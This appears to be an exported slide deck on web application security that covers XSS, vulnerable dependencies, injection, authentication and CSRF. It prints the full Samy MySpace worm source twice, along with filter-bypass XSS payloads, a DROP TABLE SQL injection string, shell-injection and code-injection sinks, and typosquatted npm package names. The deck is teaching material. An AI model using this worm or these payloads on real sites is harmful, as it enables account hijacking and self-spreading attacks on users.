Securing Modern Web Apps

  • JSON web API
  • Single page client side app

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy Kamkar

"Privacy and security researcher"

Hacker

Only allow <a>, <img> and <div> tags​

strips out the word "javascript" from ANYWHERE

<div style="background:url('javascript:alert(1)')">
<div id="mycode"
     expr="alert('hah!')"
     style="background:url('javascript:eval(document.all.mycode.expr)')">
<div style="background:url('java\nscript:alert(1)')">

strips out escaped quotes

alert('double quote: ' + String.fromCharCode(34))

strips out the word "innerHTML" anywhere

alert(eval('document.body.inne' + 'rHTML'));

Can't send cross origin requests (CORS)

document.location = 'http://www.myspace.com' + '...';

Cross Site Scripting (XSS)

<script>alert('XSS')</script>


    render() {
        const {tweets} = this.props;
    
        return (
            <div id="twitter">
                {tweets.map(tweet => (
                    <div dangerouslySetInnerHTML={tweet} />
                ))}
            </div>
        );
    }
this.d3State.nodes
      .enter()
      .append('circle')
      .attr('class', 'visuals-documents__chart-dot')
      .attr('r', d => {
        return this.getRadius(d);
      })
      .attr('cx', d => {
        return this.d3State.x(d.origX);
      })
      .attr('cy', d => {
        return this.d3State.y(d.origY);
      })
      .on('mouseover', d => {
        tooltip
          .transition()
          .duration(200)
          .style('opacity', 0.9);
        tooltip
          .html(d.name)
          .style('left', d3.event.pageX + 'px')
          .style('top', d3.event.pageY - 28 + 'px');
      })
      .on('mouseout', d => {
        tooltip
          .transition()
          .duration(500)
          .style('opacity', 0);
      })
      .on('click', d => {
        d3.event.stopPropagation();

        setDocument(d);
      })
      .style('fill', d => {
        const isActiveDocument = activeDocument && d.id === activeDocument.id;
        return isActiveDocument ? 'FFD500' : d.color;
      })
      .style('fill-opacity', d => {
        return d.opacity;
      });

Impact of XSS

  • Steal user credentials
  • Steal sessions
  • Deliver malware to users
  • Send users to a malicious site

How to prevent XSS

  • Identify features vulnerable to XSS
  • Sanitize user inputs (server side)
  • Use popular libraries for sanitization
  • Use frameworks that take care of XSS
let App = React.createClass({
  componentDidMount() {
    fetch('messages')
      .then((res) => res.json())
      .then(messages => 
        this.setState({messages}));
  },

  render() {
    const {messages, newMessage} = this.state;

    return (
      <div>
        <h1>React Messageboard</h1>
        {messages.map(message => 
            <div>{message}</div>
        )}
      </div>
    );
  }
});
{
  name: "react-xss",
  version: "1.0.0",
  description: "",
  scripts: {
    start: "webpack-dev-server --hot --progress --colors",
    build: "webpack --progress --colors"
  },
  dependencies: {
    babel-loader: "^4.3.0",
    react: "^0.13.3",
    react-hot-loader: "^1.1.7",
    webpack: "1.6.0",
    webpack-dev-server: "1.8.1"
  }
}

package.json

How to prevent XSS

  • Identify features vulnerable to XSS
  • Sanitize user inputs (server side)
  • Use popular libraries for sanitization
  • Use frameworks that take care of XSS
  • Check for known vulnerabilities in your dependencies

Known Vulnerabilities

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • March 7th 2017: security researchers discovered a vulnerability in Apache Struts that was being actively exploited by attackers
    • vulnerability allowed for remote code execution
       
  • March 8th 2017: Apache released a patch fixing the bug
    • Attackers published code anyone could use to exploit the bug
       
  • March 9th: 2017: Equifax was blissfully unaware that they were running the vulnerable version of Struts
  • April 16 2017:  ...Equifax still unaware and 662 Charlie Chaplin lookalikes gathered in Switzerland, setting a world record
     
  • Mid-May 2017: Attackers started stealing information from Equifax
    • 143 million US consumers info stolen
    • Names, Social Security numbers, birth dates, addresses, driver's licence numbers
    • 200,000 stolen credit card numbers
       
  • July 29 2017: Equifax realizes they were hacked

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • Scan dependencies for known vulnerabilities
  • Make sure getting updates to prod is easy

patching the security hole was labor intensive and difficult, in part because it involved downloading an updated version of Struts and then using it to rebuild all apps that used older, buggy Struts versions. Some websites may depend on dozens or even hundreds of such apps, which may be scattered across dozens of servers on multiple continents. Once rebuilt, the apps must be extensively tested before going into production to ensure they don't break key functions on the site.

Known Vulnerabilities

  • Keep dependencies up to date
    • Sub dependencies too
  • Scan dependencies for known vulnerabilities
  • Make sure getting updates to prod is easy
  • Keep OS, DB,  web/application server and other aspects of you application up to date
  • Only obtain components from official sources

babelcli
cross-env.js
crossenv
d3.js
fabric-js
ffmepg
gruntcli
http-proxy.js
jquery.js
mariadb
mongose
mssql-node
mssql.js

mysqljs
node-fabric
node-opencv
node-opensl
node-openssl
node-sqlite
node-tkinter
nodecaffe
nodefabric
nodeffmpeg
nodemailer-js
nodemailer.js
nodemssql

noderequest
nodesass
nodesqlite
opencv.js
openssl.js
proxy.js
shadowsock
smb
sqlite.js
sqliter
sqlserver
tkinter

Injection

SQL Injection

function addStudent(name) {
    db.query("INSERT INTO Students VALUES ('" + name + "')");
}

addStudent("Robert'); DROP TABLE STUDENTS; --");
INSERT INTO Students VALUES ('Robert'); DROP TABLE Students; --')

Vulnerable Code

Query

const User = sequelize.define('user', {
  name: Sequelize.STRING
});

function addStudent(name) {
    sequelize.sync().then(() => User.create({name}))
}

addStudent("Robert'); DROP TABLE STUDENTS; --");

Safe Code

Query

INSERT INTO Students VALUES ('Robert\'); DROP TABLE Students; --')

NoSQL Injection Demo

Other Types of Injection

var path = "user input";
child_process.exec('ls -l ' + path, function (err, data) {
    console.log(data);
});

Shell Injection

Regex Injection

Code Injection

let userLastName = ".*"

let family = fullNames.filter(fullName => {
    return new RegExp('.* ' + userLastName).test(fullName);
})
new Function(CODE)();

setTimeout(CODE,0);

[]['filter']['constructor'](CODE);

How to prevent Injection

  • Use an ORM
  • Don't concatenate user input with code in a string
  • Sanitize user inputs
  • Use popular libraries for sanitization

Authentication

Register and sign into TrustMeBank

  1. Join the wifi network:
    Starbucks Free Wi-Fi
  2. Go to: https://tinyurl.com/trustmebank
  3. Register
    • Don't use your real password
  4. Login

Are you Kg-Network ?

YES!!!

http://

https://

Rate Limiting

Auth Best Pratcices

  • Enforce password strength
     
  • Use https
     
  • Rate limit failed login attempts
     
  • Log failed login attempts
     
  • Alert admins of strange network activity

http://5fc4eae2.ngrok.io

CSRF

 www.trustmebank.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

CSRF

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

CSRF Demo

CSRF (Cross Site Rob? Forgery)

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

Options

Access-Control-All-Origin: evil.com
Access-Control-Allow-Credentials: true

CSRF

 www.evil.com

Cookies

Domain: api.trustmebank.com

Content:

authToken=ASDF2345WERT

 

HTTP Form POST to api.trustmebank.com

Server
api.trustmebank.com

_id: 492
user: test@gmail.com

api.trustmebank.com

CSRF

  • Only an issue if you are using cookies
  • Don't whitelist every domain
     
  • For POST requests make the client load a token from local storage / a cookie and add it to a header
res.header('Access-Control-Allow-Origin', req.headers.origin);

Takeaways

  • Get familiar with common vulnerabilities
  • Keep systems up to date
  • Set aside time for security reviews
  • Don't use your power for evil

Thanks to

Jamie Counsell

Starbucks Hacker

Thanks to

Nick Cramero

TrustMeBank Founder

Web Security

By Rob McDiarmid

Web Security

  • 1,240